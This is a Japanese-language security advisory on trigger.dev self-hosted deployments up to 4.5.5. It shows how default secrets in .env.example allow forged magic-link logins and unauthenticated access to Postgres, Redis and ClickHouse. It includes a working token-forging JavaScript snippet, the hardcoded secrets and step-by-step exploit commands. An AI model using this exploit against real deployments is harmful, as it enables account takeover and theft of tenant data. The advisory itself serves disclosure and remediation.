Trigger.devの自己ホスト環境における脆弱性：デフォルトのシークレット設定により、認証されていないインフラストラクチャの侵害が可能
## 概要
提供されたDocker Compose設定を使用してデプロイされた、trigger.dev v4の自己ホスト環境において、`hosting/docker/.env.example`ファイルに記述されたデフォルトのシークレットを使用している場合、複数の段階を経て認証なしでインフラストラクチャ全体を侵害される可能性があります。
## 脆弱性の詳細
`hosting/docker/.env.example`ファイルには、ハードコードされた暗号化シークレットが含まれています。
```
SESSION_SECRET=2818143646516f6fffd707b36f334bbb
MAGIC_LINK_SECRET=44da78b7bbb0dfe709cf38931d25dcdd
ENCRYPTION_KEY=f686147ab967943ebbe9ed3b496e465a
MANAGED_WORKER_SECRET=447c29678f9eaf289e9c4b70d3dd8a7f
```
`MAGIC_LINK_SECRET`は、`remix-auth-email-link@2.0.2`によって、CryptoJS AES暗号化を使用して認証トークンを作成するために使用されます。このシークレットを知っている攻撃者は、メールの送信なしで、任意のメールアドレスとして認証できる有効なマジックリンクを生成できます。ライブラリの`validateSessionMagicLink`オプションはデフォルトで`false`に設定されており（trigger.devによって上書きされることはありません）、セッション側の検証は行われません。`WHITELISTED_EMAILS`が設定されていない場合（自己ホスト環境のデフォルト設定）、ユーザーアカウントは自動的に作成されます。
## 再現手順
### セットアップ
```bash
cd hosting/docker && cp .env.example .env
cd webapp && docker compose up -d
cd ../worker && docker compose up -d
```
### ステップ1：マジックリンクトークンの偽造
```javascript
const CryptoJS = require('crypto-js');
const secret = '44da78b7bbb0dfe709cf38931d25dcdd';
const payload = JSON.stringify({e: 'attacker@evil.com', c: Date.now()});
const token = encodeURIComponent(CryptoJS.AES.encrypt(payload, secret).toString());
console.log('https://target:8030/magic?token=' + token);
```
### ステップ2：偽造されたマジックリンクによる認証
```bash
curl -v "http://localhost:8030/magic?token="
# 応答：HTTP 302, set-cookie: __session=eyJ1c2VyIjp7InVzZXJJZCI6ImNtcGg3OTBxZjAwMDR0bjU1ZWM3bHlxN2EifX0=...
# ユーザーが自動的に作成され、セッションクッキーが設定され、/orgs/newにリダイレクトされます。
```
### ステップ3：ランナーネットワークからのデータベースへのアクセス確認
```bash
docker run --rm --network webapp postgres:14 psql "postgresql://postgres:unsafe-postgres-pw@postgres:5432/main" -c "SELECT id, email FROM \"User\";"
# 戻り値: cmph790qf0004tn55ec7lyq7a | attacker@evil.com
```
### ステップ4：Redisへのアクセス確認（認証なし）
```bash
docker run --rm --network webapp redis:7 redis-cli -h redis PING
# 戻り値: PONG
```
### ステップ5：ClickHouseへのアクセス確認
```bash
docker run --rm --network webapp curlimages/curl curl -s "http://default:password@clickhouse:8123/?query=SELECT%20version()"
# 戻り値: 25.5.2.47
```
## 根本原因
1. `hosting/docker/.env.example`ファイル（9行目～12行目）にハードコードされた機密情報
2. ランナーコンテナがインフラストラクチャネットワークに配置されている：`hosting/docker/worker/docker-compose.yml`ファイルの42行目にある`DOCKER_RUNNER_NETWORKS: webapp,supervisor`
3. すべてのインフラストラクチャサービスにデフォルトの認証情報が設定されている
4. Redisの認証機能がない
5. `SESSION_SECRET`がJWTの署名（`apps/webapp/app/services/apiAuth.server.ts`ファイルの616行目）と、なりすましトークンに使用されている
## 影響
インフラストラクチャ全体の侵害：すべてのテナントデータ、APIキー、暗号化された機密情報（既知の`ENCRYPTION_KEY`で復号可能）、ユーザーアカウント、テナント間のアクセスが可能になる。攻撃者はデータを改ざんしたり、バックドア付きのDockerイメージをレジストリにプッシュしたり、ジョブキューを操作したりできる。
影響を受けるパッケージ：
- npm (JavaScript) trigger.dev: 影響を受けるバージョンは4.5.5以下、4.5.6で修正済み。